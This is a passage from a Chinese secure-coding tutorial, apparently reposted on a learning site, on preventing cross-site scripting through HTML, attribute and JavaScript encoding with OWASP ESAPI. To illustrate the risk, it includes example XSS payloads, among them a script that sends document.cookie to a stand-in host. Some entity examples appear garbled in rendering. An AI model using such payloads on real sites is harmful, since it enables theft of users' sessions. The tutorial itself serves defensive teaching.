[03-11 14:24:48] 来源:http://www.67xuexi.com 电脑安全教程 阅读:85280次
< –> <
> –> >
” –> "
‘ –> '
/ –> /
有两点需要特别说明的是:
推荐使用OWASP提供的ESAPI函数库,它提供了一系列非常严格的用于进行各种安全编码的函数。在当前这个例子里,你可以使用:
1 String encodedContent = ESAPI.encoder().encodeForHTML(request.getParameter(“input”));原则3:在将不可信数据插入到HTML属性里时,对这些数据进行HTML属性编码
这条原则是指,当你要往HTML属性(例如width、name、value属性)的值部分(data value)插入不可信数据的时候,应该对数据进行HTML属性编码。不过需要注意的是,当要往HTML标签的事件处理属性(例如onmouseover)里插入数据的时候,本条原则不适用,应该用下面介绍的原则4对其进行JavaScript编码。
1 2 3 4 5 6 7 8 9 10 11 <div attr=…插入不可信数据前,进行HTML属性编码…></div> 属性值部分没有使用引号,不推荐 <div attr=’…插入不可信数据前,进行HTML属性编码…’></div> 属性值部分使用了单引号 <div attr=”…插入不可信数据前,进行HTML属性编码…”></div> 属性值部分使用了双引号[编码规则]
除了阿拉伯数字和字母,对其他所有的字符进行编码,只要该字符的ASCII码小于256。编码后输出的格式为 HH; (以开头,HH则是指该字符对应的十六进制数字,分号作为结束符)
之所以编码规则如此严格,是因为开发者有时会忘记给属性的值部分加上引号。如果属性值部分没有使用引号的话,攻击者很容易就能闭合掉当前属性,随后即可插入攻击脚本。例如,如果属性没有使用引号,又没有对数据进行严格编码,那么一个空格符就可以闭合掉当前属性。请看下面这个攻击:
假设HTML代码是这样的:
<div width=$INPUT> …content… </div>
攻击者可以构造这样的输入:
x onmouseover=”javascript:alert(/xss/)”
最后,在用户的浏览器里的最终HTML代码会变成这个样子:
<div width=x onmouseover=”javascript:alert(/xss/)”> …content… </div>
只要用户的鼠标移动到这个DIV上,就会触发攻击者写好的攻击脚本。在这个例子里,脚本仅仅弹出一个警告框,除了恶作剧一下也没有太多的危害,但是在真实的攻击中,攻击者会使用更加具有破坏力的脚本,例如下面这个窃取用户cookie的XSS攻击:
x /> <script>var img = document.createElement(“img”);img.src = ”http://hack.com/xss.js?” + escape(document.cookie);document.body.appendChild(img);</script> <div
除了空格符可以闭合当前属性外,这些符号也可以:
% * + , – / ; < = > ^ | `(反单引号,IE会认为它是单引号)
可以使用ESAPI提供的函数进行HTML属性编码:
1 String encodedContent = ESAPI.encoder().encodeForHTMLAttribute(request.getParameter(“input”));原则4:在将不可信数据插入到SCRIPT里时,对这些数据进行SCRIPT编码
这条原则主要针对动态生成的JavaScript代码,这包括脚本部分以及HTML标签的事件处理属性(Event Handler,如onmouseover, onload等)。在往JavaScript代码里插入数据的时候,只有一种情况是安全的,那就是对不可信数据进行JavaScript编码,并且只把这些数据放到使用引号包围起来的值部分(data value)之中,例如:
<script>
var message = “<%= encodeJavaScript(@INPUT) %>”;
</script>
除此之外,往JavaScript代码里其他任何地方插入不可信数据都是相当危险的,攻击者可以很容易地插入攻击代码。
1 2 3 4 5 6 7 8 9 10 11 <script>alert(‘…插入不可信数据前,进行JavaScript编码…’)</script> 值部分使用了单引号 <script>x = “…插入不可信数据前,进行JavaScript编码…”</script> 值部分使用了双引号 <div onmouseover=”x=’…插入不可信数据前,进行JavaScript编码…’ “</div> 值部分使用了引号,且事件处理属性的值部分也使用了引号